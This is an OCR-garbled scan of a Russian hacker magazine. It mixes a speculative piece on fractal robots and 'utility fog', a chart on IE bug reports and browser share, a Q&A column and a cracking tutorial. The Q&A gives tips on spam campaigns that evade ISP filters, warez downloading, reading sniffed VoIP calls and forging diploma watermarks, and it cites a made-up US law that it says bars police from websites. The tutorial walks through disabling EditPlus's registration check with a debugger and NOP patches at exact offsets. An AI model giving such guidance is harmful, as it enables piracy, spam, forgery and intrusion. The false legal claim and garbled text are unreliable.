звеньев, которые, комбиниру- 
ясь между собой, принимают 
такую форму, с помощью ко- 
торой проще всего решить 
поставленную перед ними за- 
дачу. При этом каждый кубик 
наделен малой толикой мозга, 
достаточной для того, чтобы 
определить текущую позицию 
кубика, а вместе эти части 
составляют интеллект робота. 
Помнишь, в старые советские 
времена головоломку «Змей- 
ка»? Она представляет собой 
длинную гнущуюся пластико- 
вую цепочку, которую можно 
было сгибать как угодно, 
превращая то в шар, то в пис- 
толет, то в макет робота. 
Фрактальный робот на нее 
чем-то похож. Он тоже состо- 
ит из таких универсальных ку- 
биков и тоже может прини- 
мать разные формы. 



опухоль, отрежет ее и изоли- 
рует от организма. Прикрутив 
к фрактальному хирургу мик- 
ровидеокамеру, получим цен- 
нейший медицинский инстру- 
мент, который в то же время 
можно сделать системой те- 
леприсутствия! Еще меньше 
кубик — и можно делать опе- 
рации на отдельных клетках. 
Или сражаться с амебами и 
инфузориями под микроско- 



УДАЛОСЬ СДЕЛАТЬ 
ЧЕРВЯКА. КОТОРЫЙ 
ИЗ АНАЛОГИЧНЫХ 
РАЗБРОСАННЫХ КУ- 
БИКОВ СОБИРАЕТ 
СВОИ КОПИИ 



9 . Зачем оживлять старый 
конструктор? Дело в том, что у 
живой змейки масса полезных 
и неполезных применений. 
Представь себе быстросбор- 
ные мосты, собранные из 
живых «кубиков» размерами 
метр на метр, которые при 
ненадобности можно перест- 
роить в ангар или жилой дом. 
Производственные линии, ко- 
торые можно за несколько нэ- 



пом или в телеочках виртуаль- 
ной реальности, связываю- 
щих тебя с роботом-червяком. 

1 1 . Некоторые типы фрак- 
тальных роботов уже скон- 
струированы. Даже удалось 
сделать червяка, который из 
аналогичных разбросанных 
кубиков собирает свои копии! 
То есть, наделав кубиков-бло- 
ков и рассыпав их по полу, 
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2 . Собственно минога (рыба, а не киборг) 3 . Мобильный робот Кперега — основа киборга \ 2 . Фоглет — частица «умного» тумана 
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8 . Стрелка — одна из моделей ГОЛЕМА в железе 



1 3. Фоглеты собираются в блок 



1 1 . Фрактальный робот 



5 . Современные системы тазіег-зіаѵе 



6 . Телеприсутствие будущего 



4 . Одна из первых систем телеприсутствия 1 0 . Быстросборный мост 









1. Робот Оагѵѵіп VII с нейронным «мозгом» 



7 . Как устроен ГОЛЕМ 



9 . Фрактальный робот 



ХАКЕР 02 /86/ 06 



051 








ИМПЛАНТ ///// І551ІЕ 



ВСЕ НОВОЕ. НЕ УКЛАДЫВАЮЩЕЕСЯ В 
РАМКИ ОБЫЧНЫХ ПРЕДСТАВЛЕНИЙ О 
МИРЕ, СНАЧАЛА НЕ ВОСПРИНИМАЕТСЯ 
КАК ПРОГНОЗ БУДУЩЕГО 

N 



можно через час-другой ли- 
цезреть целую армию одина- 
ковых червяков. 

В НЕДАЛЕКОМ БУДУЩЕМ ... 

Клэйтроника — новая область 
в науке и технологии, позволя- 
ющая собирать различные 
предметы из отдельных уни- 



версальных строительных бло- 
ков микроскопических размеров 
(сіау — глина, сіауігопісз — «ум- 
ная глина»). Как ты уже понял, 
это тесно связано с фрактальны- 
ми роботами вообще. Перспек- 
тивы применения клэйтроники 
велики: от универсальных вещей 
до создания персональных тер- 
минаторов из жидкого металла. 

В недалеком будущем (ска- 
жем, в 2030 — 2040 годах) с по- 
явлением нанофабрик наноро- 
боты станут таким же доступ- 
ным и недорогим продуктом, 
как, к примеру, серийно выпус- 
каемые микросхемы. Поэтому 
нетрудно представить себе ту- 
чу нанороботов-кубиков, сос- 
тавляющих такую «грязь» с из- 
меняемой формой, которые 
перестраиваются по команде 
юзера. Алгоритм работы таких 
устройств разработан и не 
представляет особой труднос- 
ти. Российскими специалиста- 
ми даже разработана общая 
теория и математическая мо- 
дель многозвенных роботов (а 
их называют иногда и так). 

Но для того чтобы собрать хо- 
тя бы мобильный телефон или 
стул, потребуется очень боль- 
шое количество роботов-на- 
ноблоков. Вряд ли такое уст- 
ройство будет дешевым даже 
при использовании нанофаб- 
рик повсеместно, поскольку 
нанофабрики собирают гото- 
вый продукт из молекул- 
сырья, которые будут иметь 
определенную стоимость, и 
при работе потребляют около 
250 киловатт в час электроэ- 
нергии, производя готовый ал- 



мазоидный наноблок размера- 
ми 20x20x20 сантиметров. Для 
производства конструктивно- 
го тумана (этот термин Сторрс 
Холла мы будем использовать 
и далее при описании клэйт- 
ронных систем) на такую 
вещь, как, например, стул пот- 



ребуется заплатить немалую 
сумму. Но, естественно, тот же 
стул можно будет перепрог- 
раммировать и в персональ- 
ный автомобиль, и в мобиль- 
ный телефон, и в робота-анд- 
роида, наконец. 

1 2. Конечно, в далеком буду- 
щем создание нанороботов 
может быть довольно недоро- 
гим, поэтому можно себе 
представить человека будуще- 
го, вокруг которого носится 
персональный «конструктив- 
ный рой». Но, скорее всего, та- 
кие рои будут базироваться в 
специальных пунктах пользо- 
вания: дома, на работе и пр., а 
с собой Иото Іиіигив возьмет 
100 — 200 граммов. 

13 . Остановимся на техни- 
ческом описании «конструк- 
тивного тумана» от Сторрс 
Холла, австралийского учено- 
го, который первым предло- 
жил подобные системы. Осно- 
ва любой клэйтронной систе- 
мы — базовый кирпичик-нано- 
робот. И чем меньше по раз- 
меру будут кирпичики, тем бо- 
лее сложные вещи можно бу- 
дет из них собрать. 

Каждый наноробот-блок, на- 
зываемый фоглет (Іодіеі — 
частица конструктивного тума- 
на — иіііііу Іод), имеет размер 
около 100 микрон в диаметре. 
Фоглет состоит из ядра, в ко- 
тором размещен центральный 
процессор, и телескопических 
манипуляторов. Потребляет 
такое устройство около одно- 
го милливатта на кубический 
микрон объема. 



Центральное ядро наноробота 
сферической формы диамет- 
ром 10 микрон. Для сравне- 
ния: диаметр эритроцита 

(красной кровяной клетки) 
составляет 8 микрон. Масса 
фоглета — 20 микрограммов, 
и в теории он состоит из 5 
квадриллионов (ну, очень мно- 
го) атомов. 

Если еще учесть то, что фогле- 
ты планируется изготавливать 
из алмазоида, то жесткость 
конструктивной пыли, собран- 
ной, например, в стержень, бу- 
дет сопоставима с жесткостью 
такого же алмазного стержня. 

Конструкция манипуляторов 
и универсальных соедине- 
ний предполагает не только 
механическую связь, но и пе- 
редачу энергии и информа- 
ции. Таким образом, фогле- 
ты будут связаны в единую 
информационную сеть. Как 
говорит Сторрс Холл, на ос- 
нове фоглетов можно предс- 
тавить дисплеи, собирающи- 
еся прямо на глазах, а также 
роль пикселей, в которых 
большое значение имеют 
фоглеты-нанороботы. 

Набор сенсоров и нано- 
компьютер на борту каждого 
фоглета позволят использо- 
вать конструктивный туман в 
качестве хранителя инфор- 
мации и средства коммуника- 
ции. Предполагается, что ин- 
терфейс «человек — 

конструктивный туман» будет 
основан на получении сигна- 



Скорее всего, сборка фогле- 
тов будет происходить под воз- 
действием локальных элект- 
ростатических полей, которые 
будут притягивать слишком от- 
даленные частички тумана. Од- 
нако на большом расстоянии 
это работать не будет, поэтому 
конструктивный туман будет не 
совсем «туманом». Вероятно, 
это будет комок наноструктур, 
плавно изменяющих свою 
форму. Иначе нанороботам при- 
дется преодолевать огромные 
по микромасштабам расстоя- 
ния. Для этого придется их ос- 
настить системами навигации в 
пространстве и сделать мобиль- 
ными. А это достаточно трудно и 
нецелесообразно. Так что тучек, 
складывающихся в людей, стулья 
и мобилки, не будет. 

Естественно, что все новое, не 
укладывающееся в рамки 
обычных представлений о ми- 
ре, сначала не воспринимает- 
ся как прогноз будущего. Фан- 
тастам прошлого века было 
проще заглядывать на нес- 
колько лет вперед. Современ- 
ные же этого не могут сделать, 
так как неизвестно, как изме- 
нится мир после очередной на- 
учно-технической революции. 

Может, ты и не знал о подоб- 
ных роботах до этой статьи. 
Может, знал и получил еще 
больше информации о них. 
Возможно, лет через 30 их бу- 
дут продавать на развес в лю- 
бом магазине. А может, не бу- 
дут, потому что мы все завис- 
нем в матрице. 



СБОРКА ФОГЛЕТОВ БУДЕТ ПРОИС- 
ХОДИТЬ ПОД ВОЗДЕЙСТВИЕМ ЛО- 
КАЛЬНЫХ ЭЛЕКТРОСТАТИЧЕСКИХ 



ПОЛЕЙ, 



лов трансформации непос- 
редственно от нервных сиг- 
налов мозга. Это станет воз- 
можным благодаря имплан- 
там на основе нейрочипов 
или же на анализе и дешиф- 
ровке слабых электромагнит- 
ных полей активности голов- 
ного мозга тем же «конструк- 
тивным туманом». 



ВШАНѴ ѴОІІВ’5 ПС 



В ДАЛЕКОМ БУДУЩЕМ СОЗДАНИЕ 
НАНОРОБОТОВ МОЖЕТ БЫТЬ 
ДОВОЛЬНО НЕДОРОГИМ 

V 
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Зелик 

И БАГИ 

Почти каждый день в багтраках появляются сообщения об ошибках в браузерах. Какие-то баги более опасны, какие-то — ме- 
нее; для некоторых из них есть публичные сплоиты, для некоторых эксплойтов нет. Но все эти сообщения очень явственно 
отражаются в статистике использования тех или иных браузеров. Тщательно проанализировав данные за 4 года, мы соста- 
вили диаграмму, которая предельно четко отражает ситуацию, которая складывается после выхода очередного бронебойно- 
го эксплойта для ІЕ. 




2002 год 

На смену ІЕ 5 приходит 
шестая версия, в сере- 
дине 2002 года ІЕ 6.0 
становится самым попу- 
лярным браузером. 
Большое число багов 
и лучшая поддержка ІЕ 
6.0 только ускоряют 
процесс смены поколе- 
ний. Альтернативные 
браузеры также сдают 
позиции. 



2003 год 

В течение года ІЕ 6.0 
быстро набирает оборо- 
ты. Даже куча появляю- 
щихся багов не может 
остановить этот рост. 
Только в конце года, 
после публикации нес- 
кольких сообщений о 
серьезных ошибках, про- 
исходит падение попу- 
лярности. 



2004 год 

В течение года опуляр- 
ность ІЕ 6.0 резко не ко- 
леблется. Появляются со- 
общения об ошибках, но 
юзеров это не беспокоит. 
После выхода ЗР2 наб- 
людается заметный рост 
популярности, который 
сдерживается новыми 
сообщения о багах уже в 
самом сервис-паке. 



2005 год 

После обнаружения мно- 
жественных уязвомистей 
в ІЕ 6.0 многие пользова- 
тели переключаются на 
альтернативные браузе- 
ры — главным образом 
на РігеРох. В течение лета 
2005 наблюдается рост 
популярности ІЕ 6.0. Со- 
общения о серьезнейших 
ошибках в сентябре, но- 
ябре и декабре 2005 года 
рушат популярность ІЕ. 



2006 год — прогноз 

Можно не сомневаться, что 
в 2006 году на смену ІЕ 6.0 
прийдет осел 7-й версии. 
Так же наметилась тенден- 
ция к росту популярности 
РігеРох. В отдельных стра- 
нах уже больше четверти 
юзеров отдают предпочте- 
ние именно этому браузеру. 
Думается, что вся 
зесиге’ность седьмого осла 
останется только в пресс-ре- 
лизах Майкрософт. 
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НАСК-РАО 



Иаск_РАО соттепіз: 

5ЮЕХ: 

Иаск-^ @ геаі .хакер, ги 

_ѵ2Іот 



О: Мне предлагают рассылку спама по базе 
одного крупного регионального провайдера. 
Как убедиться, что заказ будет эффектив- 
ным и меня попросту не отдоят? 

А: Неприступность своего вымени при заказе 
рассылок можно проверить несколькими спосо- 
бами. Главным образом можно понять, каким 
софтом обороняется провайдер на сетевом 
уровне. Узнать это можно попытавшись отпра- 
вить письмо случайному юзеру с субжем типа 
Рот \ох {гее! Ьэіііаз! АпаІ! СитзМоіз, 99% спам- 
фильтров отсекут его, выдав серверное сообще- 
ние о нежелательности отправленного письма в 
Сети. В большинстве случаев ответ будет подпи- 
сан названием софтины. На сайте софта будет 
написано, какая ВВІ_-база данных пользуется. 
Теперь вопросы задаются организатору рассыл- 
ки: с каких сетевых точек будет производиться 
рассылка? Полученные адреса проверяются по 
той ВВ1_-базе, что привязана к анти-спам софту 
провайдера. Если у тебя с организатором чело- 
веческие отношения, то он сможет подтвердить 
дееспособность своих точек предоставлением 
логов отправки, которые будут содержать сете- 
вые диалоги вроде «ОК... Зепі». Это поможет и 
самому спамеру понять неработоспособность 
ряда своих производственных мощностей в от- 
ношении рассылок по конкретному провайдеру. 
Понятно, что фильтрами на ІЗР-уровне дело не 
ограничивается. Могут и конечные пользователи 
срубать рекламу локальными фильтрами, но это 
остается редкостью. Компании же чаще и чаще 
снаряжаются специальным софтом. Если рас- 
сылка планирует покрыть множество юзеров 
конкретной фирмы, то логично узнать об исполь- 
зуемом там анти-спам софте. 



О: Как борются со спамом через подтвержде- 
ние отправителя для отсечки спам-роботов? 
Эффективно ли это? 

А: Подтверждение (ѵегііісаііоп) может проис- 
ходить следующим образом. Ты отправляешь 
мэйл, он застревает на сервере получателя, 
откуда приходит ответ с просьбой о подтверж- 
дении. В письме содержится линк, куда тебе 
надо залезть и ввести число/слово с картинки. 
Система работает безупречно, отечественный 
ѴѴіпАпІіЗрат и западный Зратіпіегсеріог могут 
стать примером. Система очень дотошна и 
многие законные отправители писем просто 
ленятся лазать по линкам для подтверждения. 
При входе в банк всех раздевали наголо, что- 
бы удостовериться, не имеет ли посетитель 
при себе оружия и дурных намерений, так как 
против грабителей и спама обе системы рабо- 
тают на ура, но с законными посетителями и 
отправителями могут быть чересчур суровы. 
Порой юзеры просто не имеют доступа к ине- 
ту при отправке письма, и корпоративный ѴРЫ 
не пущает во внешние просторы или же пись- 
мо вовсе отправляется через доисторическую 
сеть, изолированную от инета — Х25 или РТЫ. 

О: Могу ли я запретить доступ к своему веб-сай- 
ту для чекистов и прочих нежеланных гостей? 

А: Стоит заметить, что юридическая база 90% 
стран мира в отношении Интернета далека от 
совершенства. Говорить однозначно, что мой 
ответ сработает во всем мире, — будет опасной 
неправдой. Давай остановимся на Америке, ко- 
торая пыталась подготовить соответствующую 
базу ранее других — еще в далеком 1995 году; 
эта же страна наиболее активно борется с на- 



рушителями интернет-прав. Можно обратиться 
к Т5е Іпіегпеі Ргіѵасу АсГу, подписанному Клин- 
тоном, любителем оральных удовольствий. Эта 
телега за номером 431.322.12 не позволяет го- 
сударственным работникам, в частности поли- 
ции и спецслужбам, посещать твой ресурс, ес- 
ли ты того не желаешь. Это работает по прин- 
ципу американского гражданского законода- 
тельства, которое утверждает, что полицейский 
не может лгать. Даже работая под прикрытием, 
обязан ответить, что он из полиции, если о том 
его прямо спросит подозреваемый. Солгав, че- 
кист не сможет использовать добытые данные 
при судебном разбирательстве. Сославшись на 
данный акт в Эізсіатег’е сайта, можно рассчи- 
тывать, что инфа, найденная на ресурсе, не 
сможет быть использована в ходе возможного 
последующего расследования. Конечно, реаль- 
ность может быть иной, и даже в самой Амери- 
ке пройдет тот финт, что некто из посетителей 
сайта (несвязанный напрямую с силовиками) 
выступит свидетелем и поведает о разврате с 
веб-паги. Об остальных странах и говорить не 
приходится: очень немногие найдут клинтоновс- 
кую телегу рабочей в своей собственной стра- 
не. За примером дисклаймеров можно прогу- 
ляться на варез-сайты вроде ізоНипІ.сот и 
раскеіпеѵѵз.сот . 

О: Как сгребать варез через ВЫС? 

А: Лучше всего запустить на ВЫС друзей 
ІВС-варезников, подождать, пока они накача- 
ют софта, а потом комфортно скачивать доб- 
ро по РТР. Получается так, что все ЭСС-пото- 
ки сначала уходят на сервер, где установлен 
баунсер, а потом уже переправляются на 
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комп юзера. Получается заметная выгода по 
скорости, и высасывать софт на 0012-точку 
удается гораздо быстрее, чем на 56К-диалап. 
Бывает, что из одного в другой сегмент инета 
варез просто не сдувается по ІРО — боты по- 
рой устанавливаются в таких дебрях, что без 
пол-литра оттуда и байта не усосать. Попробо- 
вав качать с разных ВЫС, всегда можно найти 
один рабочий. Это уже другой вопрос, но на- 
помню, что для установки софтины нужен ра- 
бочий збеІІ-аккаунт, где можно будет повесить 
процесс в бэкграунд и где будет достаточно 
места для размещения всего вареза. Я не 
прослеживаю последние тенденции Ьпс-произ- 
водства, но всегда рабочим варинатом был 
РзуВЫС ( ѵѵѵѵѵѵ.рзѵсНоісІ.пеі ) — качка варезки 
без каких-либо осложнений. 

О: Баунсера у меня нет, но я горю желанием ав- 
томатизировать поиск и скачку вареза на ІРС! 

А: Мне хочется подсказать некое умное решение, 
чтобы дорогой читатель активнее работал моз- 
гом. Однако за нас давно уже поработали, и ду- 
мать не приходится вовсе. Софт, причем халяв- 
ный, написан практически под любые потребные 
и непотребные нужды! Здесь помогает ХОСС- 
Реісбег (хсіссіеісігзоигсеіогае.пеб . который мони- 
торит выбранные тобой ІПС-каналы по теме объ- 
явления там желанных варез-паков. После появ- 
ления прога автоматически встает в очередь и на- 
чинает сдувать добро. Система заметно ускоряет 
процесс и снимает необходимость отслеживания 
нужных очередей и копаний в буйной пестроте 
рекламы ІВС-канапов. Добавлю, что проге можно 
немного помочь с уточнением параметров поиска, 
изучив предварительно канал, — релизы могут от- 



личаться названием от оригиналов. Не стоит нап- 
равлять ХОСС-РеІсб на заведомо пустые каналы. 
Перед запуском разумно пробить доступность 
желанного на хсіссзоѵ.сот . Прога, увы, практи- 
чески не обновилась за последний год, и недоче- 
ты, посланные авторам, не были исправлены... 
Все негодующие могут попытать счастья с анало- 
гом — ѵѵѵѵѵѵ.хсісссаісбег.сот . 

О: Снифал одну сеточку и понял, что гигабайты 
собранного мусора — разговоры по ІР. Как бы 
мне въехать, о чем там велись базарчики? 

А: Следует понять, что наснифалось в собран- 
ные логи. Если там чисто телефонные терки, то 
можно смело скармливать тему софтине с ап- 
петитным названием Ѵотіі ( ѵотй.хісіпеі.пі ). Если 
же ты натаскал кучу мусора со всех разных тем, 
то следует провести фильтрацию, отдав ѴотіГу 
лишь логи по ѴоІР-сервису. 

О: Забросил учебу, но собираюсь напечатать 
диплом из фотошопа. Как бы мне туда водяные 
знаки и прочую ботву заправить? 

А: Темные элементы сначала ответят для себя 
на вопрос: откуда будут добыты образцы водя- 
ных знаков для последующего наложения? 
Представив идиллию обладания оными, они 
располагают двумя путями: профессиональ- 
ный софт по созданию документов и люби- 
тельские реализации «на коленке». Первый 
вариант может быть представлен софтом 
«Цербер» ( ѵѵѵѵѵѵ.зесигезоЙ.ги/сегЬег.ЫтП . ко- 
торый был сочно и детально описан в X №5 за 
2001 год. Второй путь проще и не столь обре- 
менителен финансами; здесь поможет и при- 
митивнейшая 5_Мегде ( ѵѵѵѵѵѵ.агарЫсиііІв.сот/ 



зтегае ). В отличие от Цербера, софтина не су- 
меет создать собственный дизайн для знаков, 
но успешно наложит уже имеющиеся на любое 
изображение. В целом же бытует мнение, что 
более эффективным решением для желающих 
проехаться образовательным поездом на ха- 
ляву станет приобретение диплома в перехо- 
де. Другое дело, что любой работодатель смо- 
жет раскусить липу, просто позвонив в обоз- 
наченный универ и запросив действитель- 
ность выданного диплома. 

О: Взял под контроль несколько систем, но уже 
устал проверять работоспособность каждой из 
них. Можно ли как-то консолидировать логи ото 
всех разом? 

А: Вопрос единого администрирования нес- 
кольких систем сформулирован довольно не- 
четко. Наиболее верным здесь может стать на- 
писание скриптов для твоего ЗЗН-клиента, кото- 
рый может работать как локально, так и удален- 
но. Тогда одна команда будет распространена 
разом на несколько подконтрольных тачек. Од- 
нако это лишь универсальный ответ, который, 
вероятно, не спасет от имеющихся сложностей 
и педикулеза :). Более точно можно ответить на 
второй вопрос о единении логов. Все свои ма- 
шины я проверяю на вшивость сбором логов че- 
рез БодМеізІег ( ѵѵѵѵѵѵ.Іоатеізіег.сот ). Он умеет 
собирать инфо с самых разных систем, обраба- 
тывать потоки в форме простого текста, сзѵ, хті 
(привет ВЗЗ). Если под рукой оказываются иск- 
лючительно ѵѵіп-системы, то на помощь придет 
заточенное под нужды ЕѵепіМеізІег-решение от 
того же производителя. 

ВШАПѴ ѴОІШ’5 Т 
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ІІЕСЛИ КТО-ТО ТЕБЕ КОГДА-ТО 
ГОВОРИЛ, ЧТО ВЗЛОМОМ ШАРО- 
ВАРЫ ЫХ ПРОГРАММ ЗАНИМАЮТ- 
СЯ ТОЛЬКО ГУРУ, С НОГ ДО ГОЛО- 
ВЫ ОБЛОЖЕННЫЕ СПРАВОЧНИ- 
КАМИ ПО АССЕМБЛЕРУ, ТО, ПРОЧ- 
ТЯ ЭТУ СТАТЬЮ, ТЫ РАЗУБЕДИШЬ- 
СЯ В ЭТОМ. МЫ ВМЕСТЕ С ТОБОЙ 
УВИДИМ, КАК ОТЛАДЧИК И ШЕСТ- 
НАДЦАТЕРИЧНЫЙ РЕДАКТОР МО- 
Г^Г СОВЕРШИТЬ ТО ЖЕ САМОЕ, 
ЧТО ДЕЛАЕТ ПРАВИЛЬНО ВВЕДЕН- 
НЫЙ СЕРИЙНЫЙ НОМЕРрр 
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ТЕХТ ИСУПОВ ЛЕОНИД АКА СН@ѴѴ[_ЕВ / САА№І_ЕПНАСК@ПАМВІ.ЕН.НІІ / 




ОБХОД ТРИАЛ-ЗАЩИТЫ ПРОГРАММЫ ЕБІТРШЗ 




На нашем диске ты найдешь ОІІѵРВб. 
ѴѴІпНех и Ніеѵѵ — софт, который я ис - 
пользовал для своего нехитрого взлома. 



ПЕРЕД СТАРТОМ 

Специализированный текстовый редактор ЕсІІІРІиз очень удобен 
для редактирования самых разнообразных исходников: он уме- 
ет подсвечивать выражения, написанные на всевозможных язы- 
ках программирования, и разметки: НТМІ_, СЗЗ, РНР, АЗР, РегІ, 
С/Сч-+, баѵа. Кроме того, существует возможность расширить 
этот список, добавив плагины для других языков. Очень помога- 
ют при редактировании нумерация строк и другие замечатель- 
ные возможности. Преимущества можно перечислять бесконеч- 
но, так что легче сразу сказать о недостатках, вернее, о самом 
главном из них — о платности программы. Заморские буржуи 
просят за прогу аж 30 американских долларов. Но мы не пойдем 
на такие затраты, откуда у нас столько денег? :) Мы попробуем 
зарегистрировать программу своими силами. 

ИНСТРУМЕНТ 

Пару слов о том, что нам для этого понадобится. Во-первых, это из- 
вестный многим программистам, хакерам, крэкерам, юзерам и ла- 
мерам дизассемблер и дебаггер ОІІуОЬд. Наверняка у многих воз- 
никнет вопрос: а почему не Зойісе? Объясняю: при небольшом опы- 
те крэкинга (а эта статья и рассчитана на начинающих) сложно ра- 
зобраться в отладчике, созданном для людей скорее опытных, чем 
несведущих в программировании. Дальше нам понадобится любой 
шестнадцатеричный редактор, например, небезызвестный Ніеѵѵ 
или же не менее удобный ѴѴІпНех. Я предпочитаю последний. 

СЕСТРА, СКАЛЬПЕЛЬ 

Итак, приступим к исследованию программы. Для начала проинс- 
таллируем софтину и затем запустим. Как ни странно, перед запус- 
ком программы появляется окно регистрации — так называемый 
«наг». Нажав кнопку «Епіег Ведізігаііоп Собе», мы увидим окошко, 
которое содержит два поля: «Ызегпате» и «Ведсобе». В первое 
при регистрации вводится имя пользователя, во второе — генери- 
руемый по неизвестному нам алгоритму регистрационный номер. 
Однако писать кейген не входит в наши планы. Мой выбор пал на 
ничем не запакованную программу. Чтобы объяснить принцип, ос- 



тавим АзРгоІесІ’ы гуру. Данные поля — стандартные ѴѴІпАРІ-объек- 
ты (обычные ТехІВох-ы). Следовательно, для чтения введенных в 
них строк должна использоваться стандартная процедура 
ѲеІѴѴІпбоѵѵТехіА. Вообще, для таких проверок хорошо использо- 
вать какой-нибудь АРІ-шпион (в моем случае М$$руХХ), который 
при поиске окна показал мне класс текстбоксов. Проверим же этот 
факт на практике. Установим и запустим ОІІуОЬд. Выберем в меню 
«РІІе» пункт «Ореп» (или ткнем РЗ) и в появившемся окне найдем 
файл «ЕбіІРІиз.ехе». Очень тебе рекомендую сохранить копию ис- 
ходного файла, на случай форс-мажорных обстоятельств. Если по- 
явятся какие-либо сообщения, нажмем «ОК». Подождем, пока от- 
ладчик анализирует файл (можно принудительно заставить отлад- 
чик провести анализ, для этого нажмем «Сігі+А»). Готово: процесс 
загружен и остановлен на точке входа. Проверим же теперь нашу 
гипотезу о том, что серийник и юзернэйм читаются процедурой 
ѲеІѴѴІпбоѵѵТехіА. Для этого установим на все подобные процедуры точки 
останова (это места, где программа временно прерывает свое выполне- 
ние, называемые брекпойнтами или бряками). Чтобы поставить бряк в 
ОІІуОЬд, необходимо воспользоваться плагином СоттапбЫпе, просто на- 
жав сочетание клавиш <АІ_Т >+<Р1 >. При этом выскочит окно своеобраз- 
ной командной строки, в которую нужно ввести «Ьрх ѲеІѴѴІпбоѵѵТехіА» 
(без кавычек), и нажатъ «Епіег». Врх здесь — это команда для установки 
бряка, по аналогии с Зойсе’ом. Так как вызовов ѲеІѴѴІпбоѵѵТехіА нес- 
колько, появится окно со списком вызываемых данной программой 
библиотечных функций и процедур. Тут возникает одна очевидная 
проблема, заключающаяся в том, что вызовов несколько, и мы не 
знаем, какой именно из них нам нужен (при таком подходе уже на 
вое вызовы поставлена точка останова. — Прим.ред.). Для реше- 
ния проблемы будем действовать в лоб: просто поставим точки ос- 
танова на все вызовы функции, нажав правой кнопкой на один из 
вызовов и выбрав «Зеі Ьгеакроіпі оп еѵегу саіі Іо ѲеІѴѴІпбоѵѵТехіА» 
или просто нажав клавишу Р2. Все, бряки поставлены. Жмем Р9 для 
запуска процесса. Поскольку функций много, нам надо найти имен- 
но ту, которая отвечает за считывание данных, жмем Р9, пока не по- 
явится наг-окно. Вводим наши данные туда, где их просят. Тут и сра- 
ботает наш брейкпоинт. Отладчик остановится на вызове 
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ѲеІѴѴІпсІоѵуТехІА. Продолжим выполнение пошаго- 
во, нажимая Р7 до тех пор, пока не дойдем до 
участка с адресом 0047САОЗ. Здесь программа 
как бы «зацикливается», снова и снова возвраща- 
ясь на строку кода о данным адресом. Это и есть 
начало процедуры проверки правильности серий- 
ника. Как я узнал? Посмотри содержимое регист- 
ров в правой части ОНуЭЬд. Там замелькали те 
данные, что я вводил при регистрации. Дождемся, 
пока по адресу 0047СА19 программа перестанет 
выполнять условный переход на адрес 0047СА03. 
Нажимая Р7, дойдем до адреса 0047СВ57. Здесь, 
как можно выяснить опытным путем, находится ус- 
ловный переход: верный серийник или «левый» 
(строка «Л\І2 ЗНОВТ ЕИТРШ3.0047СВ60»), Мы 
не будем рассматривать сейчас алгоритм генера- 
ции серийника, нам важно просто поломать эту 
программу. 

ОТУЧАЕМ ПРОГРАММУ ПРЫГАТЬ, КУДА 
НЕ НАДО 

Для того чтобы программа не переходила туда, 
куда ее не просят, надо как-то убрать этот злос- 
частный переход. Для этого заменяем команду 
прыжка на серию операторов. Оператор «!\ІОР» 
не выполняет ничего (N01 ОРегапб). Для замены 
мы щелкнем 2 раза по строчке кода с условным 
оператором. Появится окошко, где можно «про- 
патчить» код программы. Отметим флажок «РІІІ 
ѵѵііб ІМОР-5 « и введем вместо строки кода с ус- 
ловным переходом оператор «ІМОР». РІажмем 
«АззегпЫе» и закроем окошко. РІажмем Р9 и 
посмотрим, что теперь скажет наша исследуе- 
мая программа. Ура, она говорит, что необходи- 
мо перезапуститься для принятия серийного но- 
мера. Жмем «ОК» и закрываем программу. За- 
пустим ее еще раз. Конечно, появится сообще- 
ние «ІпѵаІісІ гедізігаііоп собе». Все, что нам надо, 
— убрать это сообщение, ведь оно будет надое- 
дать при каждом запуске! Запустим снова 
ОІІуОЬд и выберем «РІІе -> АПасб», после этого 
выберем нужный нам процесс (редактор 
«ЕбіІРІиз») из списка. Ткнем Вцп, после этого — 
паузу. Зачем? Для того чтобы узнать, по какому 
адресу происходит вызов сообщения о неверном 
регистрационном коде. Адрес этот — 004С8097 
(функция вывода «окошка» называется 
«МезззадеВохА»), Чтобы убрать вызов сообще- 
ния, мы снова будем пользоваться «пустым» 
РІОР’ом. Как нам узнать, сколько ІМОР'ов нужно 
для замены вызова? Отнимаем от адреса 
инструкции, следующей сразу за вызовом 
ІУ1еззадеВохА(004С8090), адрес самого вызова 
(004С8097). Получаем 6. Так как команда 6ЮР 
занимает в памяти 1 байт, нам нужно заменить 
6 байт, начиная с адреса 004С8097, на шестнад- 
цатеричное значение команды ІМОР. Это значе- 
ние, о чем легко узнать, заглянув в любой учеб- 
ник по языку Ассемблер, равно 90 в шестнадца- 
теричной системе счисления. 

ДЕЛАЕМ ЗАМЕНУ 

Приступим, собственно, к замене. Мне лично не 
очень нравится редактировать двоичные файлы 
отладчиком, хотя он и на это способен, поэтому 
первое, что приходит на ум, — редактировать 
файл ЕсШРІиз.ехе редактором ѴѴІпНех. Он очень 
удобен. Запускаем его и открываем на редакти- 
рование ЕсШРІиз.ехе. Посчитаем, откуда надо на- 
чинать заменять байты. ОІІуОЬд считала смеще- 
ния, начиная с адреса 004010006. Отнимем от 
004С80976 значение 004010006. Получим С7097. 
Это нужно для того, чтобы знать смещение отно- 
сительно начала в «абсолютном» виде, ведь в 
ѴѴІпНех адресация начинается с «нуля». Нажмем 
в программе ѴѴІпНех сочетание клавиш 
«АІ_Т» + «Ѳ» для перехода к смещению. Вводить 



ѴѴ\Ѵ\Ѵ . С11АСКХАВ.1Ш 

Ресурс шшлу.сгасЫаЬ.ш — пример сайта, созданного людьми, 
которым интересно, что творится в мире крэішнга, людьми, 
интересующимися взломом принципиально новых защит. 
Форум, топики, полезный софт и куча самой разнообразной 
информации и для опытных, и для новичков — это далеко 
не полный список того, что ты найдешь, напечатав в адрес- 
ной строке своего любимого ослика ууѵулу .сгаскІаЬ .ш . 





оля к бою готова 



вводим данные и нажи- 
маем на кнопочку... 



устанавливаем брейкпоинты на все процедуры 
ѲеІѴѴІпбоѵѵТехіА 
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Все, что описано в статье. — 
анекдот. Если кого-то за при- 
ведение этого анекдота в 
действие арестуют, то редак- 
ция и автор ответственности 
за это не несут. 

адреса нужно в десятичном виде, с помощью виндовского калькулятора можно 
посчитать, что нужное нам смещение (070976) в десятичном виде будет равным 
815255. Ах да, ОІІуОЬд не отображает первые 1024 байта заголовка файла. Учтем 
это и прибавим к нашему смещению это значение. Получим 816279. Введем это 
число и нажмем «Епіег». Операция проведена, и мы перешли по нужному смеще- 
нию. Заменяем все 6 байтов, начиная с этого места, на 906. Сохраняем файл и за- 
пускаем его. Ура, ничего не выскакивает :). Почти все хорошо, но странно одно: 
когда мы выбираем в нашей хакнутой проге «НеІр->АЬои1», там написано, что она 
«Ііпгедізіегеб». Это уже не соответствует действительности. Откроем нашу прог- 
